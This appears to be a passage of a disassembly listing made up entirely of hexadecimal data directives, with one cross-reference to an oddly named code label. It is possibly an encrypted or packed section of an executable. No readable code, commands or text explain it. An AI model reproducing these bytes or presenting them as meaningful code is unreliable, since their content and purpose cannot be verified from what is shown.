		dd 0C1C4A359h, 1998BB02h, 8C064EAFh, 48F45DD0h,	2117019Eh
		dd 0BE9928E0h, 0DCF61A98h, 28918681h, 2C5AD8D1h, 0C85C0090h
		dd 0EFAD2E77h, 0DE765A59h, 40B2E92Eh, 0F070D9B8h, 613332BDh
		dd 56E0347h, 0BCCCFE71h, 6BF674D8h, 0D6CEA348h,	0A3A88585h
		dd 8804FFB5h, 845A3166h, 0A4BC0A79h, 0F78527D6h, 0D1872D76h
		dd 908E0059h, 9D490B34h, 0A4F08C02h, 30FDB600h,	0A5873C6h
		dd 0EC885AF5h, 0C0AC17E6h, 0AF0F5CD8h, 6D04C85Ah, 0EE248DC2h
		dd 0ADE90A65h, 147F64C4h, 5B1D2D1Ch, 3D632464h,	5E9A6E0Bh
		dd 0EBC12600h, 93984B02h, 5AD0F301h, 94E93043h,	0DC686585h
		dd 27785E33h, 5E4AD652h, 5A1697E0h, 8D5734F7h, 89C27EFEh
		dd 42C80BECh, 7D3B3D61h, 59033D39h, 8FE89618h, 935FE9B8h
		dd 0FDF25384h, 4A186809h, 2D25BFC4h, 6273128Dh,	0A83E7F75h
		dd 42A0E925h, 50825500h, 2D0020FCh, 5BF8FFD7h, 293DE125h
		dd 0C8C91261h, 0BD02ADF3h, 201340C3h, 9C402C6Ah, 54131FBEh
		dd 7DAC0C02h, 0DFC2AD92h, 74405F56h, 0D854AABBh, 81295A70h
		dd 6B403D71h, 4A632398h, 9899A2Ah, 7CB96855h, 0BF576107h
		dd 5384D4CBh, 0D5492FF3h, 42D4FFh, 65F5E181h, 49777404h
		dd 5C1FA3F4h, 0F7CB6DCFh, 9C007E96h, 4ADD5DF6h,	9E9FDEDh
		dd 9BD14EC3h, 90C870ACh, 5D4C142h, 743805Bh, 2626D644h
		dd 0A117EE09h, 35DC90E5h, 0B4123DECh, 0A7173AACh, 69D334BAh
		dd 0A2F4E985h, 2D95A93h, 0E352A7E2h, 0C1032165h, 88225E1h
		dd 3EFCA262h, 442C06EAh, 13B5DC08h, 0C367E859h,	10691668h
		dd 26D55369h, 183CB838h, 0BD108C02h, 2D39174Dh,	471B1678h
		dd 20C7E524h, 3C96E9A1h, 718D299Dh, 0CA2DBC40h,	0E9D003F9h
		dd 0A2799A78h, 0E3A2075Bh, 2D25033Fh, 10B13DFh,	9DE391C6h
		dd 0C53101B1h, 40197270h, 0B71CB8B0h, 4084D748h, 57C0D0F7h
		dd 5C96549Eh, 97A162Eh,	2DCDF2FCh, 0E412F951h, 0C85857C3h
		dd 2459CB28h, 1E7EBC0h,	0F680CCB6h, 0E1069D6Ah,	2599E68Fh
		dd 0CF493C6h, 6C0EB7F5h, 996D809h, 0E95124B4h, 88A6C8EAh
		dd 0A65197CEh, 6154F662h, 0D6D55AA5h, 0C0E76E82h, 0FD4005E6h
		dd 4C8373E2h, 0CE2E1F64h, 0FE80339Fh, 0F077C2E6h, 0E622C397h
		dd 0E16D996h, 125D263Eh, 24F852E9h, 3207BAD0h, 0E43C9F01h
		dd 68BFA0B0h, 98032127h, 80F65C56h, 5B51D901h, 0A6A540FBh
		dd 185B1A3Eh, 1F022945h, 6053AA49h, 2525EC01h, 0CF04FE7h
		dd 0EF310780h, 652093B0h, 4A049094h, 0C166C00Dh, 577F02E2h
		dd 4F2E3037h, 6004E5A2h, 2D28F336h, 5EC31CB4h, 8179EB9Ah
		dd 0A9E85D93h, 0C15153C5h, 7BAD2263h, 0A892B037h, 289CF546h
		dd 0B034535Ah, 0F7A8F00h, 1C2D3B5Ah, 6DFED97Fh,	0EB2D33F2h
		dd 0D8FA615Dh, 953C473Ch, 6850D502h, 0FCA2386Bh, 5C06E122h
		dd 5F8779A4h, 55210BBBh, 3EB15301h, 488860EBh, 0DB47AB96h
		dd 0DA60DA73h, 51196ABFh, 45C44F34h, 0F02CA931h, 0ACFC4CE9h
		dd 54562F80h, 12261EFBh, 0B0F9D4E9h, 0C96DAE9Eh, 82432325h
		dd 0D2D58CC9h, 0FFD75C5Ah, 307D3559h, 0B20A89E6h, 0E20B8023h
		dd 0D2EAD088h, 0DBF22FA7h, 0CE20D001h, 0AAD2059h, 0B72E7390h
		dd 0B6028950h, 0F088A6h, 0BDE9AE0Ch, 0D8B9A569h, 0FE367121h
		dd 63D84801h, 494DAB2Ch, 6B598A40h, 0D89E6FB0h,	2F6F5E25h
		dd 0AF2DE271h, 66C32339h, 8DE8328Fh, 805740B3h,	9784057Fh
		dd 25E77E75h, 0EDC83CCFh, 0E1138042h, 0BA16C003h, 85E9E103h
		dd 6AF922E3h, 59CA149Fh, 81016498h, 746AFAF2h, 34C2D85Ch
		dd 97DAF604h, 0C5A8D389h, 79D44BCBh, 1F0A7302h,	6191C21Eh
		dd 0AC04B89Dh, 62F5CBB6h, 0C0E00415h, 1677CEBAh, 11B0D9E9h
		dd 701003B8h, 9B2D5B3Dh, 0D4413E8h, 0F4DB400h, 74B95134h
		dd 55662754h, 0EB0490F2h, 3183ECB5h, 41A340E0h,	20C078C1h
		dd 90DAA1F2h, 46605F6h,	1309E57Ah, 0A5D4A6E9h, 9205700Bh
		dd 8572AE0Eh, 0E64FFE3h, 0DB09B6ECh, 0F827533h,	2802BE39h
		dd 292EE2F8h, 0C97C0FC9h, 2B255C59h, 0EF823978h, 5E426802h
		dd 7E5290DEh, 86D35263h, 82429024h, 94F67B88h, 0F801587h
		dd 0AFE9C8BEh, 0EF1AD44h, 324F62EEh, 0D1E100DFh, 0CF89BBC2h
		dd 0E5B5B990h, 0F15FCD73h, 4E1829EFh, 0EA1881A3h, 86046CA0h
		dd 0B0205B58h, 3140B753h, 7E2ECF80h, 0C0AE04E4h, 0BDE58103h
		dd 3C8D591Dh, 0CB9480BCh, 13E9E207h, 67149708h,	4C3DC85Dh
		dd 3E9205A3h, 45FA5936h, 0A87C4378h, 0A0D8C9C4h, 33C58074h
		dd 0CF659830h, 0E724688Ch, 7575A836h, 2D22E1BDh, 0ADC36F8Fh
		dd 0F82309C5h, 8EB28A1h, 78555A32h, 2022757Ch, 5E09DAD6h
		dd 716C6F8Eh, 5297644Dh, 0B56C951Fh, 59985A54h,	0DCCA8102h
		dd 0C179A838h, 1280062Eh, 492C30F3h, 0C34ABEE9h, 9A87A325h
		dd 8907E584h, 0E10E74DDh, 660220D2h, 641C898h, 0F9130B28h
		dd 0AB5DD4A8h, 0A7719494h, 0CE3E9A3Ch, 345C2D00h, 0BFE97A2Bh
		dd 0A0EB3C8h, 1227013Dh, 0D4405ADh, 2345448Ch, 0D0A9B9D4h
		dd 0AE85C441h, 67246802h, 8D4A135Ch, 2DE90E6Ch,	304833B6h
		dd 2E242A42h, 3E144864h, 8AC10206h, 0E409A835h,	0A9088301h
		dd 32683E05h, 0A1DF1793h, 79363218h, 63A1294Eh,	40678D7Bh
		dd 6457F248h, 4981614Ah, 507318DEh, 81E6885Ah, 30DBE604h
		dd 9F807E04h, 1693015Dh, 0F147E95Ah, 0D6132C5Dh, 49D4D5A8h
		dd 21C6F05Fh, 0DD903D5Fh, 0FA711EF7h, 4C6F9022h, 9D6127Ch
		dd 0DEE22C3Eh, 0A36FB8F5h, 0B8D2F41h, 721FAEF1h, 0C21D10Ch
		dd 0D55B108Ch, 2803862h, 84E94147h, 62FC54E0h, 904F17Dh
		dd 604063A0h, 247721C0h, 47748F55h, 0F53DC69Fh,	8890366Eh
		dd 4932C603h, 1D3EE918h, 0D7352CD5h, 58D44EF1h,	389CC8E0h
		dd 0FD5E6843h, 384E9935h, 7B192523h, 71910EEh, 0D0315803h
		dd 0A560AAE9h, 1638ED6Ch, 0DDBF7C6Bh, 0CEE70B0Bh, 5B425174h
		dd 5FEC625Ah, 56ADB7A0h, 204BFA68h, 0C7B82194h,	5B35C48h
		dd 775756F0h, 2DC80114h
		dd 0DD522E07h, 5685AC12h, 1C07ECE8h, 0C42B5404h, 4E12E8B4h
		dd 1FB33FE4h, 5346CB4Bh, 0FDF56A5h, 6205AD28h, 3C9DB2A4h
		dd 878E9256h, 1620D920h, 296D14AFh, 84083EAh, 2CDAB05Dh
		dd 2648E2F3h, 103AAC61h, 1C585FA3h, 0D78A43A2h,	2C92E014h
		dd 12A9324Bh, 17A2A696h, 9ACC4968h, 74BD00BBh, 0EB837F5Eh
		dd 0E324C101h, 0D802C007h, 4317EE64h, 446DB854h, 0EA029D3Ah
		dd 0A1590C95h, 25AB9488h, 2CA7A8Ah, 0D9EEC9D7h,	3388F1D4h
		dd 87442DFEh, 2D0D5A20h, 0CCC2BA66h, 0A0B86FEh,	5965244h
		dd 0DA329BC2h, 3786010Dh, 0AD1F5046h, 0A08343E4h, 4C285B9Eh
		dd 4B0DF8D8h, 3104D7F6h, 0DF454242h, 0A2EC2EC4h, 5354121Bh
		dd 50A1EA92h, 0E92D4AECh, 74052519h, 0A84BBD23h, 0D15C8401h
		dd 2146C14Fh, 8C3216A9h, 0E0453E37h, 3F4E6A2Ah,	0C5BF4A59h
		dd 8E1A0D15h, 16C11184h, 2205F00Eh, 60A535DFh, 0CBA21CF2h
		dd 4B51C65Dh, 5BA96B0Bh, 57B317E4h, 0C4ACA255h,	31BE1DBAh
		dd 6F06EE4Ah, 818C1B35h, 7D995FEh, 0FC7E6528h, 0F4CE8A62h
		dd 4FE0C43Ch, 0B4C3C7A4h, 0B8D9A0C6h, 0A3555E0Fh, 30DC4436h
		dd 3E018DABh, 68AB0F58h, 997D62D8h, 0B6F99248h,	0A14E2C3Ch
		dd 0F0CE298Ch, 60380B91h, 4ADE5926h, 0EB00F5BFh, 56B95170h
		dd 9076F162h, 303CFEACh, 950C7559h, 2A51A10Fh, 0FC080423h
		dd 0A26009D0h, 98DDFA0Dh, 8512483Ah, 25C59CBh, 1F4C6804h
		dd 16F98098h, 4FAE58h, 1A25575Fh, 0E0E3430Ch, 46147BCBh
		dd 4F4185Dh, 76205F03h,	0B44311BFh, 5814BB00h, 0EBD125A9h
		dd 0A1882EB7h, 16F434Ah, 0FF4D4930h, 0B1E1C007h, 0B3C11032h
		dd 7F727717h, 0B4E4F20h, 12E8629h, 882FE50h, 7AC90340h
		dd 6CAB5918h, 0ECD97B2Ah, 74CAF9EDh, 9554A897h,	3C77CAA3h
		dd 801460C1h, 7A8AC775h, 5A5850BBh, 0DA1B49FDh,	789DEA58h
		dd 53083DBDh, 0EE439634h, 293E93D9h, 86F3454h, 2B8D0596h
		dd 306E3883h, 5D029E0h,	20BCFC51h, 0DC8A9E00h, 30755A3Fh
		dd 593C684Ch, 0C584BF58h, 0E6C102C2h, 0B85E4005h, 0C706026Bh
		dd 42E9DE31h, 595AECD0h, 0A3C16174h, 396BC6D0h,	6C8C2A50h
		dd 0AC612EE9h, 76C398B2h, 9FCA2BBAh, 9A249851h,	0FAE2E047h
		dd 9326C7ABh, 680BE401h, 0C60AF527h, 63206988h,	68802E54h
		dd 0FB52126h, 0EFC1175Fh, 224B0002h
		db 6, 80h, 5Ah
		db 0F7h			; DATA XREF: ud2_____:loc_586D93o
		dd 3F2DE65h, 4EFEA5DCh,	0C4CEBC12h, 0F5491B7Fh,	3F7E2342h
		dd 20215513h, 7998B59Fh, 11F2323Ch, 0C16033BCh,	0B64C6575h
		dd 7C400272h, 1C029A3h,	0A1247203h, 91072302h, 0E9C2E759h
		dd 0FFA5CA44h, 322A4B00h, 0CEF9390Ah, 0EB29AEE8h, 0AD2D5D1Fh
		dd 12A8141h, 74505D8h, 5C2539EDh, 0E92E6B44h, 14AF7665h
		dd 5CB7FCE0h, 0EF81DAA5h, 3F273EFAh, 3480E181h,	100B1A06h
		dd 8479312Bh, 581A8BD7h, 22025C43h, 0A1A75BAh, 3C635D0Fh
		dd 15653201h, 0F1293B27h, 0E8AD853Eh, 0D1281328h, 3B88B62Ch
		dd 268059CAh, 5366D028h, 8B76B252h, 0D3EEEA50h,	0EC5B75C9h
		dd 1B162990h, 2110BCD8h, 0F701140Bh, 9D885AA0h,	0F4F84BD8h
		dd 331688F5h, 76874DF0h, 399469E5h, 82A1F2D1h, 8EB92A87h
		dd 81E07F55h, 16A751F1h, 3282D65Ch, 405A20B3h, 80F37EBEh
		dd 6009F5BAh, 0D4313F9Dh, 0AE5A1B80h, 0B0C13FDh, 0F8D8C440h
		dd 0E916D195h, 6812C4FAh, 0C4CC533Fh, 14469D49h, 0C0C8FE16h
		dd 0BE097A16h, 84635321h, 0F15BF180h, 823D3068h, 0B867EFF2h
		dd 0E7C68106h, 0CA40FE3Ah, 13EDD377h, 1D0B90ABh, 324C8B57h
		dd 1F444A35h, 5309394Ch, 79525F01h, 100320C5h, 74388E69h
		dd 9FC7161h, 1331D065h,	9B5AF63Ah, 0FE07CC86h, 0F25572C9h
		dd 4A93C6A0h, 2E90404Bh, 37FF904h, 88EF2101h, 0D05958CAh
		dd 10592EDh, 28AA60BAh,	0B924E920h, 57A8E691h, 68612B94h
		dd 585426D6h, 58E78600h, 0EABB2F27h, 420AD45Ah,	95796F02h
		dd 9E842915h, 0C8593D7h, 0C28852F8h, 5CD2F63Ah,	0D91612BAh
		dd 9C685188h, 1DF5E204h, 4A57C65Fh, 0D331ECBFh,	0E90B6B8Ah
		dd 0C87CE31Bh, 0A6FCEAA0h, 0CD6C9CB8h, 97299269h, 0D931CC03h
		dd 7F1F6CF1h, 0D2594461h, 203280A6h, 0B73BD4A8h, 0FAB5EE12h
		dd 0B32FCC39h, 75E9A0C5h, 0EBA5C4F5h, 0DCC0820Fh, 13B3BB00h
		dd 817C1DA9h, 5D0344EAh, 5370C56Fh, 0B1FBB046h,	29FDE4F8h
		dd 0E90840DCh, 489B0734h, 0EEDA15BCh, 97852ED8h, 1C572185h
		dd 0F02B98F5h, 805801D8h, 0D0F9D298h, 0B486738Ah, 78D1A37Ah
		dd 0B59AFA60h, 12760B52h, 93A39BE9h, 0DED17E5Fh, 833D7012h
		dd 4B543C1Fh, 73EFCD01h, 803E2EC9h, 206BE5C9h, 0FA253424h
		dd 1D22A603h, 41F5E012h, 4DC056Ch, 0A15DE909h, 8FFDD4D3h
		dd 0C29D067Eh, 0B2A960ACh, 0BBAF4818h, 2FD06710h, 8C8515Ch
		dd 20311386h, 64029F49h, 0E05F8942h, 8624F3BEh,	6821BD2Fh
		dd 82EF0D5Ah, 2ED1EA60h, 2F6547B7h, 1657F7C2h, 4154B033h
		dd 0F8F0F1BAh, 789596C6h, 0CDC35488h, 61539550h, 50C0E962h
		dd 0E4009562h, 4F21E381h, 894EBB5Eh, 3DB6F4F7h,	202209EFh
		dd 9616843Fh, 67EB13h, 0D3CE97C2h, 377BADF1h, 244B3D08h
		dd 87E024FEh, 19362D66h, 9A67EA82h, 56497356h, 8301423Bh
		dd 16630A0Bh, 5915A70Bh, 0F99E27C9h, 512527B4h,	59C149F6h
		dd 76612C97h, 448D8E0h,	0A487122Dh, 3C642CFFh, 953E780h
		dd 8AF7E956h, 402DA3FAh, 2030C6D4h, 97902772h, 5C749500h
		dd 0B9CE8157h, 2DB1301Ch, 6CD6DBACh, 0F301E013h, 0C02A111Fh
		dd 2506E800h, 3DB3524Ah, 78D20E2Dh, 92A164A5h, 212A9A99h
		dd 53253C18h, 7DD7179Ch, 680CD892h, 3F4F549Dh, 18920844h
		dd 0C412BC98h, 430A8221h, 154D02EFh, 0B6F84BEFh, 4BFD68E7h
		dd 0C3288B91h, 91FADFECh, 0AE76EBF1h, 0BF40E520h, 88B10051h
		dd 5244B050h, 0B5F2D8B6h, 0F580F90Ch, 1E050678h, 4959EE28h
		dd 34F4ADC6h, 0F536FB09h, 9A5CEA9Ah, 0D4BB53E0h, 1080304Bh
		dd 0EB5F37B4h, 0D3F72102h, 40E3C143h, 1BF1CB55h, 0CC0FD10Ah
		dd 4FF52802h, 7489DFD5h, 0CF4E08B1h, 7CA2BE00h,	6810816h
		dd 673A51E6h, 700A0C18h, 0D237252Eh, 0A7E02202h, 0F20FFF63h
		dd 0EB7C8360h, 8E000573h, 0D31A43Ah, 4CCF6981h,	0FA05106Eh
		dd 0AF355291h, 32E81216h, 0AD11E909h, 2EC18814h, 1B2B6B09h
		dd 0C3B6130h, 412F1505h, 8F72BF0Eh, 0CE01B50Bh,	7CF80059h
		dd 250C056Fh, 0A801D7F7h, 2B18B6E9h, 410995A6h,	758036A0h
		dd 11843337h, 1B603CC0h, 5BE972BEh, 60DB1217h, 0C98149ADh
		dd 517EC001h, 37146875h, 522D83Bh, 539B725h, 9AE212Eh
		dd 76AA8414h, 0CFC3528Eh, 0EAD3919Ch, 0E8D7C14Fh, 81A87CB8h
		dd 0D137EEFh, 90009FAh,	759D7799h, 0B71AD259h, 9020185Eh
		dd 17B8F237h, 800745DDh, 7BF00594h, 0D82B2C25h,	0A80783CFh
		dd 3ECC0F80h, 0D8805A56h, 0E6774E05h, 0E32A6838h, 28A06C5Fh
		dd 0CA001DBFh, 0C2EB810Ch, 9038F96Fh, 55060425h, 0AC3CD4E9h
		dd 0DE688BD1h, 4C56A816h, 1086DD1Ah, 0E658271Eh, 0E4E126A3h
		dd 23BF5192h, 0CFFA592Eh, 2BFB0841h, 2179E54Bh,	66F78074h
		dd 0BDF33AE0h, 2C97DAC5h, 5F5D5A62h, 764C30C2h,	3FB61AFEh
		dd 4C257BA4h, 3FE93555h, 0EC3A85C9h, 120A7230h,	70719B68h
		dd 578AB589h, 3DD8C70Bh, 2234FF20h, 0C7057BABh,	7747531h
		dd 57D7D607h, 0AF70CFCh, 8BD43C42h, 259A1387h, 0A45BC143h
		dd 0C7830005h, 0CF810301h, 9550EB8h, 37F94601h,	0DCE94C58h
		dd 200B8D7Eh, 5E81A388h, 65E4887Eh, 58288DCBh, 44424E2Bh
		dd 0F8132C03h, 895FC911h, 557A2964h, 0BEA05594h, 550C2AD3h
		dd 0BD7B834h, 23576CE9h, 0ED90F8D4h, 0FA014618h, 0B5BA914Eh
		dd 63C93B9Bh, 307835C8h, 0F140FA01h, 0CCDD4B88h, 0C5398055h
		dd 0BE5AE1Dh, 720FF609h, 36026436h, 49CDFAC6h, 6801DECDh
		dd 0EA96E209h, 80B131B4h, 3102FCFEh, 43C63669h,	950382B7h
		dd 14B064B1h, 0FE1E1830h, 86E904C0h, 3A2DC1B4h,	0E06C559Dh
		dd 2FE3C24Fh, 439CB44Fh, 0FE3C89E5h, 3EA80C3h, 0FA06EDC0h
		dd 0D5F25EADh, 270C0A85h, 0D6F9A5BEh, 45015E13h, 686528E4h
		dd 0F90BF20h, 524EB77Bh, 444BBE07h, 0EC30C505h,	5BE307C4h
		dd 0B62FFF3Ah, 1BD23D88h, 628A9CF8h, 45561B9Ch,	0D82B96B2h
		dd 902968D6h, 0D0B9A35Eh, 7B40FC92h, 0FA2609BEh, 8DC6D9Dh
		dd 5F9BBD3Eh, 16A3E2E4h, 3384B57h, 8F6C122Ah, 39AAE9B3h
		dd 2652E575h, 8AF10B68h, 0A5EFEC05h, 0A50C9349h, 10CB004h
		dd 8CB10EEh, 0C49EE917h, 932AAD24h, 0E5B87F57h,	0A92DE9F0h
		dd 143118BFh, 18CDD0DEh, 0FA7A2D27h, 2D62FA1h, 449E555Ah
		dd 0E1B9E94Fh, 0F0720B48h, 4425418Dh, 95688502h, 0C243CAB9h
		dd 0FF92F5E9h, 0F1C105B9h, 7BB7F80Bh, 2536B96h,	0E979B328h
		dd 96FCCCBFh, 0F4705998h, 0D485B76Dh, 8C910EBh,	34325D2Ch
		dd 9600AE99h, 0F749242Dh, 9252FA40h, 9EB905C4h,	873C9B78h
		dd 61C4C2A9h, 5A51B1E0h, 970C7A95h, 604BD845h, 7D619527h
		dd 0DA31270Ch, 550F4CECh, 0CC353668h, 400F982Dh, 0A019BFA4h
		dd 0FABE435Eh, 0F73FF3F1h, 105816E2h, 78F932D1h, 6267CA26h
		dd 7B8BEDBBh, 8C497F81h, 0E04AB7Dh, 0E133D02Ch,	24B13BA0h
		dd 0C41A2130h, 831DF1C7h, 0DBD98651h, 55B64D2Dh, 462AAB5Ch
		dd 40CD680Ch, 0CE5EE918h, 0B5C517C4h, 0FFF98117h, 0B99D637Dh
		dd 5AF9E781h, 24F66888h, 0BC007606h, 31ADF25Ch,	6501F8FBh
		dd 515B7FDAh, 0FE93B79Fh, 893E4F29h, 8D288Eh, 0F380D3F6h
		dd 0DDCBFEBFh, 0B7EBCB04h, 80B94EDCh, 7DB05052h, 9D58C688h
		dd 0B24FD88Fh, 66450057h, 0E2C0C2FEh, 0CA330778h, 0F7080CF9h
		dd 700970B7h, 76B32CBFh, 8031C18Ah, 605020EDh, 2C687C40h
		dd 67551BDDh, 2AF7E951h, 8001F960h, 29A5683Fh, 0A2211C60h
		dd 0FC4080D1h, 910B85F0h
		dd 6D973C70h, 0D4E41665h, 5D08098Bh, 7E52AEFEh,	355E0004h
		dd 0E94E78B8h, 9194D831h, 24122D6Ch, 0BEF11125h, 0E9C22623h
		dd 0EB45D0F4h, 935B963Dh, 0E62C2DF3h, 0A1E6A5DDh, 13D526C8h
		dd 0D344BED2h, 0B213779Ah, 0F894DFCAh, 3A50735h, 85B2FE21h
		dd 535603E8h, 0F5C8BEBAh, 749AD6F7h, 1C5E5A7Bh,	57D90513h
		dd 0A80BF8F0h, 18BCCEB6h, 2238D56Eh, 402C075Fh,	0AF13D5CDh
		dd 3F032DAAh, 284857A3h, 0E92AE44Fh, 0F4ADC94Bh, 0F1C540h
		dd 0C51B7A04h, 0B47EFA2Dh, 6BF15C5Eh, 19E80705h, 0FB228784h
		dd 128BA84Fh, 0D95E0BA2h, 0D277A06Dh, 0D12F8890h, 0B0C666C5h
		dd 9E152F20h, 55230420h, 919064ACh, 4C186F3Fh, 9838106Dh
		dd 0A23FB44Fh, 0A0E5F058h, 0B13020E9h, 0FD90AD51h, 6812C501h
		dd 56FC0D5Bh, 5182B9D3h, 1A19014Bh, 797F397Dh, 2E54C97h
		dd 68C0B70Fh, 4DFC2704h, 4C61D862h, 0FDB94B42h,	47AFC1A8h
		dd 0E56A4C65h, 18353034h, 0BF2D5B80h, 0A131AA64h, 0AF0F7FD8h
		dd 67C8C82Bh, 3023765Fh, 0EF40A1BDh, 9E581C8h, 0FAC3E08h
		dd 0CD1D1A7Ah, 115B7A41h, 3CE9F812h, 584C9507h,	81BAC8B7h
		dd 672E0FF5h, 41692AEEh, 2FADE52Eh, 12A32F71h, 45A05B35h
		dd 4CF014Ch, 0BB5A2DCh,	0BA65804Eh, 480AD3h, 5FE28174h
		dd 0F7726058h, 0E742D228h, 82C3C1EDh, 0B111F2A4h, 0F9EA5D31h
		dd 9F17EC7Fh, 0C3F5BA1Bh, 0F495A9h, 3C6F3ABAh, 99294F0Bh
		dd 56037A6Fh, 10AE156h,	695C9A0Ch, 286EE923h, 5757690Bh
		dd 5C9CDC16h, 25C2A589h, 0FF55F717h, 0A72C7DEBh, 0D953EED0h
		dd 0A350CA98h, 1F1D47EEh, 135F09AAh, 0B8975653h, 0D00B73A0h
		dd 0FE109370h, 0F91A2D5Eh, 851BE5D5h, 648A79E9h, 0FAC125F7h
		dd 837C8C04h, 200590Bh,	6EE368D6h, 76163999h, 32E0F7C9h
		dd 8010C77Ah, 0B853A5C7h, 5B393FCh, 9E01B049h, 0E9F92EE2h
		dd 0EDEFE7Eh, 939FCC47h, 0D0BD32A0h, 891F9C30h,	536612EBh
		dd 343E0885h, 45A826Fh,	50A3FCBBh, 52091AB1h, 7EB009E9h
		dd 71E9BB3Ch, 1F6615AFh, 240992A0h, 800D4B1Eh, 6D5FA171h
		dd 73E913F8h, 0A19CA8D0h, 8C7DF1ABh, 5178805Fh,	295B5FE6h
		dd 81E99C4h, 8908126Ch,	0E8813FA0h, 727E2D05h, 0B7AE7412h
		dd 0E5C21BCEh, 3490A1A9h, 148A26CDh, 0F84E5E19h, 0FAE21C02h
		dd 0B3F589DDh, 0C0EDF228h, 4BF3B02h, 895DE929h,	0FC8BBFCFh
		dd 5C757A1Ah, 52BA63B2h, 7559B0C0h, 6F5823BEh, 356681D9h
		dd 3AC73E32h, 0A02A58C2h, 0E5BD55C9h, 86915E7Fh, 0C4019A99h
		dd 0E968A256h, 0C334A794h, 354F9CFAh, 0C8BEC0Ah, 0C7DFB30h
		dd 0A48E0B2Fh, 0C5E421D9h, 18B48D25h, 9EEC8FC3h, 47F9826Fh
		dd 7B4027D6h, 1D2C0564h, 5F028A1Fh, 764FDC69h, 0F808A0ECh
		dd 7FAC2768h, 0A97D7E1Ah, 8C2AC115h, 0E4BE9950h, 4EED0919h
		dd 167FF031h, 77B73051h, 94EDC589h, 7CC60227h, 56E97848h
		dd 49B9B04Ah, 0D13DBEA5h, 9C562264h, 1B10EB49h,	85CCE255h
		dd 1260FCEBh, 10F30131h, 5E0C0841h, 6F22CB29h, 38095713h
		dd 10028091h, 0C730668Dh, 0DC123A4Ch, 5CC939F8h, 15C11432h
		dd 98133AAFh, 0D301EF31h, 0C0D2397Ch, 2CA90EF8h, 44F8BEA0h
		dd 0D652BA25h, 2EC325B5h, 6A7336D9h, 0D8F18722h, 45BE07E9h
		dd 0A4473A5Ah, 55DAF096h, 0F4FD44C9h, 0ECEF88EDh, 0EDE8210Ah
		dd 7C1DA27h, 387CA5E1h,	0AADEB243h, 0EE07F07Ah,	2B1C3BCEh
		dd 0F9BA0BCEh, 2741269Dh, 814D26C1h, 0B655BFB6h, 3CD4572Dh
		dd 71F82F17h, 0F70421D2h, 829F1D18h, 0CD822A85h, 0BE680194h
		dd 94377F71h, 0B9009BB4h, 19CD4A88h, 8A4F1EF4h,	0FB85F41h
		dd 77D69303h, 93CA9DE9h, 0AFA20D8Ah, 0A272F84Eh, 0BB5C0587h
		dd 99B132Ch, 29035032h,	47C2A151h, 0BB530083h, 9D276C0Bh
		dd 1A07D061h, 272F0C68h, 303B2BFAh, 0E077A5CEh,	122EBD39h
		dd 0E87CE560h, 827750C8h, 0FE0C6A1Dh, 19ABC781h, 0A12B29A2h
		dd 88BCAC3h, 519D7A46h,	9C5F69A7h, 0A6E326DFh, 3FD882FCh
		dd 19E14871h, 1DAC6075h, 54EC7897h, 0C05ABD4Ah,	4305268Ch
		dd 0FD4C2936h, 20084139h, 75F10F4h, 7E909344h, 4BFACA12h
		dd 0D62010F6h, 13DCB68Ah, 410C4A2Ch, 0E3EBA348h, 4F02EE05h
		dd 0D50EE8C1h, 591C0860h, 0DE0125C5h, 0A7C3688Dh, 543E12F2h
		dd 0BB9B4247h, 5A95D552h, 0BFB2C4BCh, 64CCFFDCh, 0DF1E07F2h
		dd 0F30E6870h, 0CB9F8F20h, 55C1BABh, 4EAE9F00h,	0B8FE3112h
		dd 0B900F31Ch, 39260A6Ah, 0C03EDD58h, 14E02468h, 0EF91C255h
		dd 55049457h, 0A700FD35h, 4AA18A3Dh, 4C40ACF6h,	0BF0C1065h
		dd 0AFDB877h, 3AC753A3h, 5CD302C5h, 584A7A79h, 1758C655h
		dd 0F90ECC68h, 3D748A4Eh, 0FCF868C3h, 249B37BBh, 971D1571h
		dd 56249BE6h, 0BB1319B8h, 0FA31A80Ch, 7F5E540Ch, 12D70C2Ch
		dd 883995Ch, 10EFB85h, 0ABECE9DAh, 5869FC31h, 2BD2A22Ah
		dd 0E1F53304h, 70DA0B1Fh, 0C1C271A5h, 2F8F1A2Ch, 12845527h
		dd 89ACF4D2h, 0EBD968BDh, 0E5690B36h, 1E2D8F2Fh, 7BF44047h
		dd 10484614h, 49C4D6Fh,	28C766C5h, 0F70D7B82h, 88EE47A0h
		dd 354C5577h, 0D93E1083h, 0FE66534Fh, 30E8BA20h, 0F463F1F0h
		dd 0E927D15Ah, 83122BCCh, 0A8A594B0h, 17B2BEB8h, 0B850C551h
		dd 12380EABh, 0C2E9E4BFh, 0EEB8F3D4h, 0DD7BE60Eh, 140ED56h
		dd 8687B51Ch, 2031DF89h, 3B689389h, 626B227Ch, 2D3A77A8h
		dd 0F1259154h, 5A530577h, 4A4EA85Bh, 0B2A8D556h, 35702113h
		dd 0ED3C00DAh, 0ECC1E592h, 0D1210397h, 1DAE12E1h, 16BCA2CEh
		dd 50BE6F68h, 9D6BAE36h, 0FC15A80Ch, 0DE31104Bh, 31008E73h
		dd 98B892D6h, 0F8C04E3h, 0B5C9E29h, 1C546326h, 8BD85B53h
		dd 0C9A44BC9h, 0A480E068h, 76E82F39h, 53256566h, 4B7BF154h
		dd 0DDC242DCh, 64185428h, 45E1C3CBh, 335F8EEAh,	506CCAE6h
		dd 0A6507152h, 49A2FC53h, 4884C92Ah, 78F012D2h,	152F17B9h
		dd 7996E826h, 2871E916h, 0CD4CF5F7h, 58753310h,	86B705BBh
		dd 0C6809903h, 7C5A6387h, 7CF13B20h, 0BB55D404h, 758EC1DDh
		dd 6C042A31h, 0B39486F7h, 7FDE80BAh, 5D333344h,	0E1F5F658h
		dd 0C9F463F8h, 9C6225DBh, 9440A042h, 2A63C40Eh,	0EB3FF86Ah
		dd 0D20ADA4Eh, 2BC5070Dh, 0BE909134h, 8FF117EBh, 3DC46804h
		dd 600F8DFAh, 0B9807335h, 0C77FC01h, 8E1C137h, 6800706h
		dd 0F9E52FE9h, 80BD4344h, 1290B88Dh, 5640046h, 608C5486h
		dd 825BA8E9h, 302DF2C9h, 6863D196h, 0B255DA7Dh,	0FE62820Ch
		dd 33F826E2h, 6DA25F5Eh, 0D20CE896h, 685B660Bh,	4A1068A1h
		dd 0C5703312h, 424A1130h, 1F769E83h, 92D7318Fh,	3953FE5Ah
		dd 0B9C60FA8h, 0E9135D20h, 77AFCCBEh, 94ABB436h, 0E69BBB5Dh
		dd 0D987E909h, 0E052CC6h, 29767348h, 0E2F5C1AAh, 0E1880210h
		dd 6878EE39h, 0D1021A5Fh, 17CBFF86h, 0CDCF49B5h, 0C26D3AF7h
